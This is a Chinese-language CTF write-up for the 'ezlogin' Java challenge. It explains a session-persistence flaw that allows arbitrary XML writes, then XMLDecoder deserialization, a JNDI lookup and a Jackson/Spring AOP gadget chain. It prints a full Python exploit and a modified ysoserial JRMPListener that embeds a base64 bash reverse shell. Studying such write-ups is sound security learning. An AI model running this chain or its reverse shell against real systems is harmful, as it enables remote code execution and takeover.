官方wp链接:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#FAsbS
ezlogin 就是一个正常的登录、注册、修改密码的服务,看了一下jar包
见到熟悉的hutool,前面的ciscn题目复现才遇到,然后spring-boot那就是有jackson
当时审了半天的逻辑,发现能给传参的参数长度都限制死了,他有一个默认的xml文件
<java > <object class ="org.example.auth.User" > <void property ="username" > <string > AAAAAA</string > </void > <void property ="password" > <string > AAAAAAAAAA</string > </void > </object > </java >
他的用户名和密码的最大长度都是以该文件里面的长度为准
这里有个check函数限制长度,一开始没找到什么绕过的地方,遂摆😊
这里开始跟着wp复现
看EditController内容
这里从JSESSION中获取登录的用户,然后对用户名和新密码进行检查,再进行修改密码的操作
看一下他的changePassword方法
这里就是简单的将xml的内容读出来,然后进行新旧密码的替换,最后重新写入,注意这里没有对JSESSION的状态改变
在del用户的地方
也是从JSESSION中获取用户然后调用delUser方法
这里直接就把userFile给删除了,但是他并没有重置JSESSION,意思就是我们的JSESSION可以保留下来,他还是能够识别的
反序列化的点在于login路由
看他的login方法
里面的一个readUser方法有对xml文件进行反序列化,然后有个waf过滤了java.、springframework.、hutool.,而且还限制了文件的最大长度,就是他初始给我们的那个AAAAAA.xml的长度
看完前面之后漏洞点就在于changePassword的时候,因为JSESSION的状态并没有改变,所以其实我们replace的时候可以保证oldPassword是一直不变的,我们就可以多次请求修改密码,一直替换oldPassword来实现任意内容的写入,比如可以xxx=》abcxxx,abcxxx=》abcabcxxx;
我们替换的时候新密码需要加上旧密码,这样可以保证我们可以可控地连续写入payload
而且我们注意写入payload之后还要缩短长度满足其小于maxLength的要求
现在绕过长度限制写任意内容的方法有了,应该怎么写,写什么呢
因为java.被禁掉了,直接写恶意代码的方法行不通,wp直接打jndi来触发Jackson的链子,springboot是自带Jackson依赖
我们要写入的payload形式是这样的
<java > <object class ="javax.naming.InitialContext" > <void method ="lookup" > <string > rmi://ip:port/a</string > </void > </object > </java >
userFile的文件长这样
<java > <object class ="org.example.auth.User" > <void property ="username" > <string > AAAAAA</string > </void > <void property ="password" > <string > AAAAAAAAAA</string > </void > </object > </java >
然后题目给了我们<!–这样一个提示,意思让我们利用html的注释,也就是写入自己的payload将其他部分注释掉,使自己的写入的xml生效
那完整的写法思路就是利用JSESSION保留的性质,我们去重复注册删除同一个用户,然后每次注册进去都是我们想要的oldPassword对应我们要替换的xml关键字,当JSESSION搜集够了之后就可以去改该用户的xml了
1.将java替换成!--来注释掉中间的内容 2.注册获取各个标签的JSESSION 3.注册一个password为特定标识符用于替换的,比如wp就用_____来作为标识 4.对各部分进行替换
wp的payload形式如下:
rmiserver = "test" payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" + rmiserver + "/a</string></void></object></java><!--" list1 = []for i in range (0 , len (payload1), 5 ): if len (payload1) - i >= 5 : list1.append(payload1[i:i + 5 :] + "_____" ) else : list1.append(payload1[i:len (payload1)]) break print (list1)if len (list1[-1 ]) < 3 : list1[-1 ] = list1[-2 ][-8 :-5 :] + list1[-1 ] list1[-2 ] = list1[-2 ][0 :2 ] + list1[-2 ][-5 :-1 :]print (list1)
exp就直接用wp的
import requestsimport sysimport time targeturl = sys.argv[1 ] rmiserver = sys.argv[2 ] sessions = {}def register (passwd ): data={"password" :passwd,"username" :"G" } res = requests.post(targeturl+"/register" ,data=data) if "success" in res.text.lower(): print (f"register {passwd} success" ) else : print (f"register fail: {res.text} " );exit(114514 )def getsession (passwd ): data={"password" :passwd,"username" :"G" } res = requests.post(targeturl+"/login" ,data=data) if "redirect" in res.text.lower() : session=res.headers.get("Set-Cookie" ).split(";" )[0 ].split("=" )[1 ] print (f"session for {passwd} : {session} " ) headers = {"Cookie" : f"JSESSIONID={session} " } sessions[passwd] = headers else : print (f"login fail : {res.text} " );exit(114514 )def editpass (oldpass,newpass ): data={"newPass" :newpass} headers = sessions[oldpass] res = requests.post(targeturl+"/editPass" ,data=data,headers=headers) if "success" in res.text.lower(): print (f"change {oldpass} to {newpass} success" ) else : print (f"edit fail : {res.text} " );exit(114514 )def deluser (passwd ): res = requests.get(targeturl+"/del" ,headers=sessions[passwd]) if "success" in res.text.lower(): print (f"delete {passwd} success" )def addsession (passwd ): register(passwd) getsession(passwd) deluser(passwd) payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" +rmiserver+"/a</string></void></object></java><!--" list1 = []for i in range (0 ,len (payload1),5 ) : if len (payload1) - i >= 5 : list1.append(payload1[i:i+5 :]+"_____" ) else : list1.append(payload1[i:len (payload1)]) break print (list1)if len (list1[-1 ]) < 3 : list1[-1 ]=list1[-2 ][-8 :-5 :]+list1[-1 ] list1[-2 ]=list1[-2 ][0 :2 ]+list1[-2 ][-5 :-1 :]print (list1) list2=[] payload2="11111 class=\"org.example.auth.User\"" for i in range (0 ,len (payload2),10 ) : if len (payload2) - i >= 10 : list2.append(payload2[i:i+10 :]) else : list2.append(payload2[i:len (payload2)]) break print (list2)for s in list2: addsession(s) list3=[] payload3="void property=\"username\"" for i in range (0 ,len (payload3),10 ) : if len (payload3) - i >= 10 : list3.append(payload3[i:i+10 :]) else : list3.append(payload3[i:len (payload3)]) break print (list3) list4=[] payload4="void property=\"password\"" for i in range (0 ,len (payload4),10 ) : if len (payload4) - i >= 10 : list4.append(payload4[i:i+10 :]) else : list4.append(payload4[i:len (payload4)]) break print (list4) addsession("_____" ) addsession("____" )for s in list3: addsession(s)for s in list4: addsession(s) addsession("string" ) addsession("object" ) addsession("/void" ) addsession(" " ) addsession("1111111111" ) addsession("/11111" ) addsession("java" ) addsession("11111" ) register("haha" ) getsession("haha" ) editpass("java" ,"!--" ) editpass("string" ,"11111" ) editpass("object" ,"11111" ) editpass("/11111" ,"11111" ) editpass(" " ,"11111" ) editpass("/void" ,"111" )for s in list2: editpass(s,"11111" )for s in list3: editpass(s,"11111" )for s in list4: editpass(s,"11111" ) editpass("1111111111" ,"11111" ) editpass("1111111111" ,"11111" ) editpass("haha" ,list1[0 ]) editpass("11111" ,"111" )for payload in list1[1 ::]: editpass("_____" ,payload) editpass("____" ,"<!--" ) requests.post(targeturl+"/login" ,data={"username" :"G" ,"password" :"1" })
将JRMPListener修改一下,我的修改方式如下:
package ysoserial.exploit;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.net.InetSocketAddress;import java.net.ServerSocket;import java.net.Socket;import java.net.SocketException;import java.net.URL;import java.rmi.MarshalException;import java.rmi.server.ObjID;import java.rmi.server.UID;import java.util.Arrays;import javax.management.BadAttributeValueExpException;import javax.net.ServerSocketFactory;import javax.xml.transform.Templates;import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.ArrayNode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import sun.rmi.transport.TransportConstants;import ysoserial.payloads.ObjectPayload.Utils;import ysoserial.payloads.util.Reflections;@SuppressWarnings ( { "restriction" } )public class JRMPListener implements Runnable { private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object (); private boolean exit; private boolean hadConnection; private URL classpathUrl; public JRMPListener (int port, Object payloadObject ) throws NumberFormatException, IOException { this .port = port; this .payloadObject = payloadObject; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this .port = port; this .payloadObject = makeDummyObject(className); this .classpathUrl = classpathUrl; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public boolean waitFor ( int i ) { try { if ( this .hadConnection ) { return true ; } System.err.println("Waiting for connection" ); synchronized ( this .waitLock ) { this .waitLock.wait(i); } return this .hadConnection; } catch ( InterruptedException e ) { return false ; } } public void close () { this .exit = true ; try { this .ss.close(); } catch ( IOException e ) {} synchronized ( this .waitLock ) { this .waitLock.notify(); } } public static void serialize (Object obj) throws Exception { ObjectOutputStream objo = new ObjectOutputStream (new FileOutputStream ("ser.txt" )); objo.writeObject(obj); } public static void unserialize () throws Exception{ ObjectInputStream obji = new ObjectInputStream (new FileInputStream ("ser.txt" )); obji.readObject(); } public static byte [][] generateEvilBytes() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = cp.makeClass("evil" ); String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte [][] evilbyte = new byte [][]{cc.toBytecode()}; return evilbyte; } public static <T> void setValue (Object obj,String fname,T f) throws Exception{ Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true ); filed.set(obj,f); } public static final void main ( final String[] args ) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod wt = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(wt); ctClass0.toClass(); TemplatesImpl tmp = new TemplatesImpl (); setValue(tmp,"_tfactory" ,new TransformerFactoryImpl ()); setValue(tmp,"_name" ,"123" ); setValue(tmp,"_bytecodes" ,generateEvilBytes()); AdvisedSupport support = new AdvisedSupport (); support.setTarget(tmp); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(support); Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class []{Templates.class},handler); ObjectMapper objmapper = new ObjectMapper (); ArrayNode arrayNode = objmapper.createArrayNode(); arrayNode.addPOJO(proxy); BadAttributeValueExpException ex = new BadAttributeValueExpException ("1" ); Field f = BadAttributeValueExpException.class.getDeclaredField("val" ); f.setAccessible(true ); f.set(ex,arrayNode); Object payloadObject=ex; try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener (port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error" ); e.printStackTrace(System.err); } } public void run () { try { Socket s = null ; try { while ( !this .exit && ( s = this .ss.accept() ) != null ) { try { s.setSoTimeout(5000 ); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream (is); bufIn.mark(4 ); DataInputStream in = new DataInputStream (bufIn); int magic = in.readInt(); short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue ; } OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream (sockOut); DataOutputStream out = new DataOutputStream (bufOut); byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this .payloadObject); break ; default : case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol" ); s.close(); continue ; } bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection" ); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this .ss != null ) { this .ss.close(); } } } catch ( SocketException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } } private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..." ); int op = in.read(); switch ( op ) { case TransportConstants.Call: doCall(in, out, payload); break ; case TransportConstants.Ping: out.writeByte(TransportConstants.PingAck); break ; case TransportConstants.DGCAck: UID u = UID.read(in); break ; default : throw new IOException ("unknown transport op " + op); } s.close(); } private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream (in) { @Override protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;" .equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID" .equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID" .equals(desc.getName())) { return UID.class; } throw new IOException ("Not allowed to read object" ); } }; ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException ("unable to read objID" , e); } if ( read.hashCode() == 2 ) { ois.readInt(); ois.readLong(); System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return); ObjectOutputStream oos = new JRMPClient .MarshalOutputStream(out, this .classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID ().write(oos); oos.writeObject(payload); oos.flush(); out.flush(); this .hadConnection = true ; synchronized ( this .waitLock ) { this .waitLock.notifyAll(); } } @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader () {}; ClassPool cp = new ClassPool (); cp.insertClassPath(new ClassClassPath (Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte [0 ]; } } public static class Dummy implements Serializable { private static final long serialVersionUID = 1L ; } }
然后使用该命令重新打包一下
mvn clean package -DskipTests
然后用下面的命令开启JRMP服务器
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80
然后此时打exp反弹shell
exp执行命令如下:
python .\exp.py "http://7ae47afd-3eda-472c-9c1b-7ce01d6a534f.node5.buuoj.cn" "<vps地址>"
弹shell过来拿到flag
艹了打exp的时候一直写错服务器地址蠢了,多加了一个http://,直接写ip就行了
还有一点是rmi://<服务器地址>/a 这里要加一个访问路径,不然也会收不到payload,这我在本地测试过,我也不清楚为啥,可以跟JRMP的模块实现有关,这部分后面学习JRMP模块的时候再探究一下
这题复现真的曲折,wp写的过于简略让我这个菜鸡看不太懂😭